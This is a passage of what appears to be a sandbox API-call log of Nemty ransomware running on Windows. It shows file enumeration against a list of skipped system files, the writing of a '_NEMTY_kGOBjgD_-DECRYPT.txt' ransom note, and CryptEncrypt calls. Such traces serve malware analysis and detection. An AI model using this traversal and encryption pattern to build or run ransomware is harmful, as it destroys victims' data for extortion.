(lpString1="msierugs.exe", lpString2="boot.ini") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="boot.ini") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="AUTOEXEC.BAT") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="ntuser.dat") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="desktop.ini") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="CONFIG.SYS") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="RECYCLER") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="BOOTSECT.BAK") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="bootmgr") returned 1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="programdata") returned -1 [0099.414] lstrcmpiW (lpString1="msierugs.exe", lpString2="appdata") returned 1 [0099.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.414] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msierugs.exe", lpUsedDefaultChar=0x0) returned 12 [0099.414] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x653f590, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msierugs.exe", lpUsedDefaultChar=0x0) returned 12 [0099.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x653f5e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msierugs.exe", lpUsedDefaultChar=0x0) returned 12 [0099.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="msierugs.exe", cchWideChar=12, lpMultiByteStr=0x653f618, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="msierugs.exe", lpUsedDefaultChar=0x0) returned 12 [0099.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.415] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.415] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.415] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x594eb7ab, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x594eb7ab, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x439e9300, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x83200, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="pdm.dll", cAlternateFileName="")) returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2=".") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="..") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="...") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="windows") returned -1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="$RECYCLE.BIN") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="rsa") returned -1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="NTDETECT.COM") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="ntldr") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="MSDOS.SYS") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="IO.SYS") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="boot.ini") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="boot.ini") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="AUTOEXEC.BAT") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="ntuser.dat") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="desktop.ini") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="CONFIG.SYS") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="RECYCLER") returned -1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="BOOTSECT.BAK") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="bootmgr") returned 1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="programdata") returned -1 [0099.415] lstrcmpiW (lpString1="pdm.dll", lpString2="appdata") returned 1 [0099.415] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x653f590, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdm.dll", lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x653f590, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdm.dll", lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x653f5e0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdm.dll", lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0099.416] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pdm.dll", cchWideChar=7, lpMultiByteStr=0x653f618, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pdm.dll", lpUsedDefaultChar=0x0) returned 7 [0099.416] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.416] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f940f0 | out: hHeap=0x4f90000) returned 1 [0099.416] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x98d1a336, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98d1a336, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xb, dwReserved1=0x4f90000, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2=".") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="..") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="...") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="windows") returned -1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="$RECYCLE.BIN") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="rsa") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="NTDETECT.COM") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="ntldr") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="MSDOS.SYS") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="IO.SYS") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="boot.ini") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="boot.ini") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="AUTOEXEC.BAT") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="ntuser.dat") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="desktop.ini") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="CONFIG.SYS") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="RECYCLER") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="BOOTSECT.BAK") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="bootmgr") returned 1 [0099.416] lstrcmpiW (lpString1="SIGNUP", lpString2="programdata") returned 1 [0099.417] lstrcmpiW (lpString1="SIGNUP", lpString2="appdata") returned 1 [0099.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SIGNUP", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0099.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SIGNUP", cchWideChar=6, lpMultiByteStr=0x653f590, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SIGNUP", lpUsedDefaultChar=0x0) returned 6 [0099.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SIGNUP", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0099.417] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SIGNUP", cchWideChar=6, lpMultiByteStr=0x653f590, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SIGNUP", lpUsedDefaultChar=0x0) returned 6 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f940f0 [0099.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.417] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94158 [0099.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.417] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f941e0 [0099.417] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94158 | out: hHeap=0x4f90000) returned 1 [0099.417] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\internet explorer\\signup\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0099.418] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941e0 | out: hHeap=0x4f90000) returned 1 [0099.418] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.418] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0099.418] CloseHandle (hObject=0x3c4) returned 1 [0099.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94088 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f94158 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0099.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.419] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94228 [0099.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.419] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xbe) returned 0x4f942b0 [0099.419] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94228 | out: hHeap=0x4f90000) returned 1 [0099.419] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\internet explorer\\signup\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0099.420] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942b0 | out: hHeap=0x4f90000) returned 1 [0099.420] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0099.420] WriteFile (in: hFile=0x3c4, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0099.421] CloseHandle (hObject=0x3c4) returned 1 [0099.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0099.421] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.421] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f941c0 [0099.421] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\SIGNUP\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeee75f90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeee75f90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0099.421] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0099.421] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xeee75f90, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xeee75f90, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0099.421] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0099.421] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0099.421] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80471418, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xf22307c6, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xf22307c6, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="install.ins", cAlternateFileName="")) returned 1 [0099.421] lstrcmpiW (lpString1="install.ins", lpString2=".") returned 1 [0099.421] lstrcmpiW (lpString1="install.ins", lpString2="..") returned 1 [0099.421] lstrcmpiW (lpString1="install.ins", lpString2="...") returned 1 [0099.421] lstrcmpiW (lpString1="install.ins", lpString2="windows") returned -1 [0099.421] lstrcmpiW (lpString1="install.ins", lpString2="$RECYCLE.BIN") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="rsa") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="NTDETECT.COM") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="ntldr") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="MSDOS.SYS") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="IO.SYS") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="boot.ini") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="boot.ini") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="AUTOEXEC.BAT") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="ntuser.dat") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="desktop.ini") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="CONFIG.SYS") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="RECYCLER") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="BOOTSECT.BAK") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="bootmgr") returned 1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="programdata") returned -1 [0099.422] lstrcmpiW (lpString1="install.ins", lpString2="appdata") returned 1 [0099.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="install.ins", lpUsedDefaultChar=0x0) returned 11 [0099.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x653f250, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="install.ins", lpUsedDefaultChar=0x0) returned 11 [0099.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0099.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x653f2a0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="install.ins", lpUsedDefaultChar=0x0) returned 11 [0099.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0099.422] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="install.ins", cchWideChar=11, lpMultiByteStr=0x653f2d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="install.ins", lpUsedDefaultChar=0x0) returned 11 [0099.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0099.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f94228 [0099.422] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0099.422] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x70) returned 0x4f942a0 [0099.422] Sleep (dwMilliseconds=0x5) [0099.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeee9c0f0, dwHighDateTime=0x1d561e7)) [0099.432] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xeee9c0f0, dwHighDateTime=0x1d561e7)) [0099.432] GetLastError () returned 0xb7 [0099.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0099.432] GetLastError () returned 0xb7 [0099.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0099.432] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0099.432] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0099.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0099.432] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0099.433] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0099.433] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0099.433] CryptBinaryToStringA (in: 